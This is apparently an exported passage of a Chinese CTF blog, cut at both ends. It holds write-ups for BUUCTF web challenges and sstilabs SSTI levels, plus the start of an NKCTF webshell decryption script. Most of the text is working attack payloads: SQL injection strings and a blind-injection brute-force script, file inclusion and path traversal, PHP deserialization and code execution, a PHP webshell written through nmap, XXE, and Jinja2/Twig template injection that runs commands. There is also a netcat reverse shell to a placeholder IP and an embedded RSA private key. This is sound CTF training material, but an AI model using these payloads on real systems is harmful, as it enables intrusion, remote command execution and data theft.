文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。发现flag类文件 com.wm.ctf.FlagController http://9d7d281e-39d1-4bde-b36e-acf1b985cc57.node5.buuoj.cn:81/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class 下载这个类即可发现flag SWP 文件泄露swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。 漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"BUUCTF","slug":"BUUCTF","date":"2024-03-31T16:07:57.000Z","updated":"2024-04-30T12:45:18.247Z","comments":true,"path":"posts/ccc6fa83.html","link":"","permalink":"http://example.com/posts/ccc6fa83.html","excerpt":"","text":"[HCTF 2018]WarmUpindex源码注释叫我们直接访问source.php 直接访问可得到源码 看不懂抄一手 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) //传入了变量page,也就是我们刚刚传进来的file { // 这里定义了白名单,包括source.php和hint.php $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { /*为了返回 true 两个条件必须满足 1 page存在 2 page是字符串 , 这里和外层的判断file 一致基本是再次判断了一遍*/ echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } /*in_array(search,array,type) 函数搜索数组中是否存在指定的值, 白名单过滤,需要返回了ture 所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php, 这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/ $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); /*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/ if (in_array($_page, $whitelist)) { return true; } //这里和上面类似 查看_page 是否在白名单中 $_page = urldecode($page); // 这里发现对_page进行了一次decode解码, $_page = mb_substr( //获取两个??之间的内容 $_page, 0, mb_strpos($_page . '?', '?') ); //先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url: // 这里是我们要绕过的点,从这里往上看 尝试构造 if (in_array($_page, $whitelist)) {//白名单 return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />"; } /*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/ ?> 考察代码审计,只要能通过checkFile函数就行,这里会获得俩??之间的字符串来判断,所以playload里面得有?hint.php?再然后不知道ffffllllaaaagggg在那个目录,就得路径穿越了,构造../ payload: http://249c777a-c885-4ab3-bef4-4efb5270da80.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg [SUCTF 2019]EasySQLsql注入题 后端 select $_POST['query'] || flag from Flag; payload 1;select *,1 结果就成了 select 1;select *,1 || flag from Flag; 导致堆叠注入输出flag 或者设置SQL_MOD SQL_MOD:是MySQL支持的基本语法、校验规则其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。 mysql> set sql_mode=PIPES_AS_CONCAT; Query OK, 0 rows affected (0.00 sec) mysql> mysql> select 1 || 'flag'; +-------------+ | 1 || 'flag' | +-------------+ | 1flag | +-------------+ 1 row in set (0.00 sec) mysql> select 'a' || 'flag'; +---------------+ | 'a' || 'flag' | +---------------+ | aflag | +---------------+ 1 row in set (0.00 sec) payload 1;set sql_mod=PIPES_AS_CONCAT;select 1 插入SQL语句就成为 select concat(1,flag) from Flag; [强网杯 2019]随便注考察堆叠注入 ';show tables--+ 得到表名 ';show columns from `1919810931114514`--+ 得到flag字段 最后 1'; handler `1919810931114514` open as `a`; handler `a` read next;# handler mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23 rename: 修改一个或多个表的名称 RENAME TABLE old_table_name TO new_table_name; alert: 向表中添加字段 Alter table [表名] add [列名] 类型 保留old和new列名 列名:a ---->b 列类型 ALTER TABLE t1 CHANGE a b INTEGER; 由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段 1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# [RoarCTF 2019]Easy Calc <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]','\\$','\\\\','\\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?> f12查看源码发现calc.php传参发现存在waf拦截 利用php特性绕过: 参考 PHP的字符串解析特性 我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: /news.php?%20news[id%00=42"+AND+1=0– 上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) 总的来说就是传参前面的空格会被删除,]符号会被替换成_所以传参的时候遇到下划线得用]替代 所以绕过的payload就为? num=a 列出根目录文件 scandir()列出目录中的文件和目录 eg: scandir('/') Array ( [0] => . [1] => .. [2] => cat.gif [3] => dog.gif [4] => horse.gif [5] => myimages ) Array ( [0] => myimages [1] => horse.gif [2] => dog.gif [3] => cat.gif [4] => .. [5] => . ) 读取文件 var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))` var_dump()标准打印数组 file_get_contents()读取文件 [HCTF 2018]adminflask session伪造 可以从网页里翻出源码的,但是源码被删了 有了源码就可以在config.py里面找到secret_key找到后就可以加解密了 PS E:\\Desktop\\ctf\\flask-session-cookie-manager-master> python39.exe .\\flask_session_cookie_manager3.py decode -c .eJxFkMGKwkAMhl9lydlDO9WL4EEZt7SQKS5TS-Yiaqttp3GhKrYjvvsOLuwecvqS7-fPE3anvrrWML_192oCu6aE-RM-DjAHLBJhOAmQMTQxCnSGydFI-jylFgcS-ejZ4CfKJIWoKSB3jJTnKDFQWtlMf9ZKrx-oy4ZcPmbSjqbwjNPO8Jclt-ow3raZrjvUqxrllpXOIyOtUO0yNJIeRi4HciUrl8wwTgS5tch0EimZtqRX7HcX8JrA8dqfdrdvW13-Kwh_HiczYuX1-QyLzZDF20ZJFEr4mCJlZNMYnXZZsX6YtrS4XLx1De_P1Z8pt9PpYfNLLnv2APYlN5cQJnC_Vv37cRAG8PoBOrNsUg.Zh1BCg._LSyxZCqUDbr3zU2RkUofmHE5PM b'{"_fresh":true,"_id":{" b":"MWI2ZmI0MmM1ZGM2MzZmYzYyYTg4YjMxY2UyMmMxMmM3ODY1MTY0Yzc3NTg4MDM0NTNkOTFhNTEwMTdiYzUyODkyZWM0NmJlZmRkYzBlMGVjOThlMTBhMDVmNTU3ZDk2NjA1ZDYwZDAxYzdmNzI5MGI2YzE2OTI3NDJjYTBmZDk="},"csrf_token":{" b":"M2YwZGI5YmNlMTU5MWQxOGViNDM2N2U3ZWJmMmZiZTJlOWEwZjdkMA=="},"image":{" b":"Uk44bQ=="},"name":"admin1","user_id":"10"}' 更改admin1为admin后就行但是有一个很坑的点就是这里用的双引号,但是加密的时候得用单引号,所以要把双引号改成单引号后加密 E:\\Desktop\\ctf\\flask-session-cookie-manager-master>python39.exe flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'a964ffdf9ad843337371b754fe4dee5f513139037266dcff517e58e1 e59fd05671c5370244ce3d91eb5b1c44857c213c8de30f4c6d3d604d0724863c8a99a6aa', 'csrf_token': b'd1bffe11dbd467f7d2a1b79345789c2599b72276', 'image': b'1JK4', 'name': 'admin', 'user_id': '10'}" .eJw9kE9vgkAQR79KM2cO_NELiQeaBWLSGaJZJLsXQhEtuyxtUFNZ43fvahMPc3rJy-_NDerD1J2-ID5Pl86Dut9DfIO3T4hBcB1SLo3MxVJUmwUxtGhbSzbryZa-NO7y3UCVCJDjFa3-dXwmJbUIpSGeRpKXC8mzgfhgJEsCUu1V2NI5kpnYVklOunBcqF2PFfrEjgGFOCMnVeTbAe27oRxDyUiTSnzniFC5LerB02VRpaGo0hXcPWhP06E-f-tufCVIlvUuYECeaWE2Pqm9oXAzC_5I0JZYGRVsUKhKp1o79Tqi4-qp601z7F4mLH8-KPknY2McgGZv-hE8uJy66fk3CHy4_wFvSmyb.Zh1Ggw.UpY4s73R-GH8qEUu6u1i8Ynd_X4 最不理解的一集 [护网杯 2018]easy_tornado三个文件 /flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename)) 通过rander可以发现使用的是flask当随意输值后可以发现报错,而且msg存在模板注入,但是这里要获得 cookie_secret而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类 RequestHandler.settings又指向self.application.settings 所以我们可以说handler.settings指向了RequestHandler.settings了,对吧 这样我们就可以构造一下payload:?msg={{handler.settings}} 于是获得cookie_secret: {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '66d79cfd-d1a2-4d07-a00a-a49d062befe7'} [极客大挑战 2019]HardSQL报错注入 extractvalue 'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23 extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23 extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23 ^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23 被截断 extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23 extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23 [GXYCTF 2019]BabySQli参考 先是测试,发现有waf,查看源码发现sql语句 select * from user where username = '$name' 使用union联合注入,发现一共有三个位置 当密码传入的是数组时发现报错,可以确定密码进行了md5加密,当把admin放在第二个位置时,发现提示密码错误,即可猜到三个位置分别为id,username,password又知道当密码传入是数组时返回NULL,那么我们也可构造密码为NULL从而绕过登录 payload name=a' union select 1,'admin',NULL #&pw[]=1 [CISCN2019 华北赛区 Day2 Web1]Hack World先bp爆破哪些关键字被过滤了 ` ~ ! @ # $ % ^ & * ( ) - _ = + [ ] { } | \\ ; : ' " , . < > / ? -- --+ /**/ && || <> !(<>) and or xor if not select sleep union from where order by concat group benchmark length in is as like rlike limit offset distinct perpare declare database schema information table column mid left right substr handler ascii set char hex updatexml extractvalue regexp floor having between into join file outfile load_file create drop convert cast show user pg_sleep reverse execute open read first case end then iconv greatest 再结合布尔盲注知识写payload id=0^(ascii(substr((select(flag)from(flag)),2,1))>0) 脚本 import requests url = "http://80ff8565-6961-45a6-9b90-dbb64f939008.node5.buuoj.cn:81/index.php" for j in range(1,100): for i in range(128,32,-1): data={"id":"0^(ascii(substr((select(flag)from(flag)),"+str(j)+",1))>"+str(i)+")"} quest=requests.post(url,data) while(quest.status_code != 200): quest=requests.post(url,data) if "glzjin" in quest.text: print (chr(i+1),end="") break [RoarCTF 2019]Easy Java点击help发现是文件下载,而且是java开发,把请求改成post(这里好像只能过猜)下载WEB-INF/web.xml造成源码泄露 [网鼎杯 2018]Fakebook扫目录发现/robots.txt发现备份文件 有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话, 然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容 还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。 get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网, 如果用ssrf访问flag.php,可以用伪协议`file://var/www/html/flag.php`访问。 后面就是正常的sql注入,数字型的,union被过滤了,绕过方法是union/**/select 爆破出来是序列化字符串,把网页改成file://var/www/html/flag.php也可得到flag.php [BJDCTF2020]The mystery of ip提示表明要使用xff,但是我没想到考的是ssti根据报错发现是smarty模板 参考 没学,看wp发现可以直接命令执行 {system('cat /flag')} [网鼎杯 2020 朱雀组]phpweb点进去看抓包,发现第一个参数是函数名,第二个参数是传参,用file_get_contents获取index.php func=file_get_contents&p=index.php 获得源码 <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> 发现存在Test类,而且未过滤unserialize则可构造反序列化 <?php class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); // $a->p = 'ls ../../../'; ==> O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";} // $a -> p = "find / -name 'flag*'"; ⇒ O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";} $a -> p = 'cat /tmp/flagoefiu4r93'; // ==> O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";} $a -> func = 'system'; echo (serialize($a)); ?> [BSidesCF 2020]Had a bad day一开始以为是sql注入,当输入'发现报错,得到是用include包含,那首先想到的就是伪协议 http://51e6cadc-a1f6-40fc-a058-77625ad16e17.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index.php 发现报错 Warning: include(php://filter/convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37 多了一个.php那么去除.php即可得到源码 <?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?> 那么就得有index,woofers,meowers中一个,可以套一层即可得payload http://51e6cadc-a1f6-40fc-a058-77625ad16e17.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/index/resource=flag [BJDCTF2020]ZJCTF,不过如此preg_replace /e 模式下的代码执行问题 function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\\n"; } preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行 而这里面第二个参数含有\\1那么他会将被匹配到的第 1 个捕获子组捕获到的文本替换,总之就是\\1也被替换了,导致的命令执行又因为特殊字符.会被替换成_所以我们这里传参是\\S*=别问为啥是\\S我不到啊 \\S是什么意思? 正则表达式\\S匹配非空字符 payload : \\S*=${getFlag()}&cmd=system(%27cat%20/flag%27); 什么要匹配到{${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。 [BUUCTF 2018]Online Toolescapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的 escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\\、\\x0A 和 \\xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。 它们组合使用时就会造成漏洞(顺序不能改变),就借用一个大佬的例子,通俗易懂。 传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\\\'' -v -d a=1\\',这是因为escapeshellcmd对\\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\\\'' -v -d a=1\\',由于中间的\\\\被解释为\\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\\ -v -d a=1',即向172.17.0.2\\发起请求,POST 数据为a=1'。 也就是说,escapeshellcmd()函数转义了用于转义单引号的斜杠,导致这个单引号与后面的单引号形成了空白连接符就能执行命令了。 nmap构造命令system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap <?php phpinfo();?> -oG 1.php,就是将这个phpinfo();语句写在了1.php里内了。 payload?host=' <?php eval($_POST["hack"]);?> -oG hack.php '注意这里的空格 [GXYCTF2019]禁止套娃抄的这篇文章 一开始啥都没,最后用dirsearch扫出.git目录,所以是源码泄露 得到源码后就是代码审计 <?php include "flag.php"; echo "flag在哪里呢?<br>"; if (isset($_GET['exp'])) { if (!preg_match('/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i', $_GET['exp'])) { if (';' === preg_replace('/[a-z,_]+\\((?R)?\\)/', '', $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else { die("还差一点哦!"); } } else { die("再好好想想!"); } } else { die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); 其中(?R)? :(?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))) 无参数REC 一般有三种绕过姿势: gettallheaders() get_defined_vars() session_id() 方法一:payload exp=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名next() 输出数组中的当前元素和下一个元素的值。array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)scandir() 函数返回指定目录中的文件和目录的数组。pos() 输出数组中的当前元素的值。localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。 loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。 方法二: 上面 的正则过滤中 其实并没有过滤掉 session_id()所以我们可以使用 session_id来获取 flagsession_id() 可以用来获取/设置 当前会话 ID。在我们使用 session_id()的时候 需要使用session_start()来开启session会话我们尝试构造payload ?exp=highlight_file( session_id(session_start())); Fake XML cookbookxxe攻击payload <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <user><username>&xxe;</username><password> &xxe;</password></user> [BJDCTF2020]Mark loves cat函数重载 <?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag; $$x = $$y;存在函数重载,首先flag=flag会造成$flag=$flag,而后面的is=flag会照成$is=$flag,从而导致函数重载,通过exit()泄露出来 payload http://2680d063-6069-4766-9e84-8a35c77507cb.node5.buuoj.cn:81/index.php?flag=flag&is=flag [BJDCTF2020]Cookie is so stabletwig ssti模板注入 具体可看ctf-ssti模板注入payload {{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"cat /flag\")}}","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-ssti-labs","slug":"ctf-ssti-labs","date":"2024-03-30T05:38:32.000Z","updated":"2024-04-03T10:54:05.981Z","comments":true,"path":"posts/da9d76f1.html","link":"","permalink":"http://example.com/posts/da9d76f1.html","excerpt":"","text":"本文有些地方疯狂抄lexsd6的博文 sstilabs靶场 如何产生的ssti? ssti起因是在通过与服务端模板的输入输出交互时,服务器端把用户提交的数据处理,当成了代码来执行.从而让恶意用户通过构建了恶意代码,来读取了服务器上的信息或得到了服务器的shell.例如:在python的flask中,会把{ { } }号里面的参数当成代码来执行,如{ {1+1} }会被执行成为{ {2} } 由于python的语法一贯奉行“一切皆是对象”的原则,所以python的一切变量都由类实例而来同时python有很多管理这些类与对象的内置魔术方法或函数 当你加载一个模块的时候,会在当前的全局命名空间中创建一个名为os的变量,指向这个os模块对象 level1lipsum是jiaja中的全局函数 没有过滤,直接注入即可pyload {{lipsum.__globals__.os.popen('ls -alh').read()}} level2过滤{{}} 可以用{%%}{% ... %}用来标记语句,比如 if 语句,for 语句等在里面可以执行print语句所以pyload就很简单了pyload {%print(lipsum.__globals__.os.popen('ls -alh').read())%} level3 注入测试后发现是bool盲注,既然是bool盲注就得外带数据 外带数据的思路一共有两种,一是dnslog外带数据,二是反弹shell,这里就用 反弹shell了,反弹shell需要一个公网ip {{lipsum.__globals__.os.popen('netcat xxx.xxx.xxx.xxx 2333 -e /bin/bash').read()}} 靶机没装netcat也没curl,所以这里连不上,知道思路就行了 level4过滤了[]我们指令本来也没用[]所以直接过了 {{lipsum.__globals__.os.popen('ls -alh').read()}} level5过滤了单双引号 用request模块注入 url='http://node5.anna.nssctf.cn:28413/level/5?qwq=ls' code={{lipsum.__globals__.os.popen(request.args.qwq).read()}} level 6过滤了下划线,那依然可以用request模块绕过 url='http://node5.anna.nssctf.cn:28413/level/6?qwq=__globals__' code={{(lipsum|attr(request.args.qwq)).os.popen('ls').read()}} level 7过滤了点,那么得用关键字attr() 在python中,我们常常是通过.来获取变量的属性的.例如().__class__. 但jinja2给我们提供了另外两种思路:[]与|attr 在jinji2中有一种独特的调用机制,这种机制本意是用来对{ {与{ %中的数据进行筛选或类型转化的. 过滤器通过|来调用它们.例如|attr()就是一个典型的过滤器 by lexsd6 在python中,我们可以用.来查找属性,而在jinja2中我们可以用attr()查找属性 {{lipsum|attr('__globals__')}}可以正确查找globals属性,但是不能再使用|attr('os'),因为os是globals的一个键而不是一个属性 可以用[]获取 payload: {{(lipsum|attr('__globals__'))['os']|attr('popen')('ls')|attr('read')()}} level 8这题是关键字过滤,而且也过滤了request 可以用+拼接,可以用~拼接,也可以用关键字reverse逆转这里用+拼接 payload {{lipsum['__glob'+'als__']['o'+'s']['pop'+'en']('ls /').read()}} level 9过滤了数字 payload {{lipsum.__globals__.os.popen('ls -alh').read()}} level 10得到config配置文件 一般情况下可以用{{config}}直接获得,但有时会过滤关键字,那么就可以用迂回的方式得到 当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串 flask内置函数 函数 作用 lipsum 可加载第三方库 url_for 可返回url路径 get_flashed_message 可获取消息 使用内置函数调用current_app模块进而查看配置文件current_app可输出当前app(即flask) 所以可以通过内置函数获得current_app进而获得config payload: {{url_for.__globals__['current_app'].config}} level 11过滤了. [] request ' " join关键字返回一个字符串,该字符串是序列中字符串的串联。元素之间的分隔符默认为空字符串,可以使用可选参数定义字符串。(ps:如果对象是字典,则只拼接 键 ) payload {% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}} level 12过滤 ' " _ 0-9 . [ ] \\ 空格 {% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"nkctf2024-wp","slug":"nkctf2024-wp","date":"2024-03-23T03:20:14.000Z","updated":"2024-03-27T07:42:32.427Z","comments":true,"path":"posts/d79890eb.html","link":"","permalink":"http://example.com/posts/d79890eb.html","excerpt":"","text":"Webshell_pro在流量包中提取到加密脚本,再编写解密脚本 import base64 from Crypto.Util.number import long_to_bytes import libnum from Crypto.PublicKey import RSA import urllib.parse pubkey = """-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB -----END PUBLIC KEY----- """ prikey = """-----BEGIN PRIVATE KEY----- MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg== -----END PRIVATE KEY----- """ pubkey = RSA.import_key(pubkey) prikey = RSA.import_key(prikey) n = pubkey.n def enc_replace(base64_str: str): base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM") base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W") return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2") def dec_replace(base64_str): base64_str = base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM","/") base64_str = 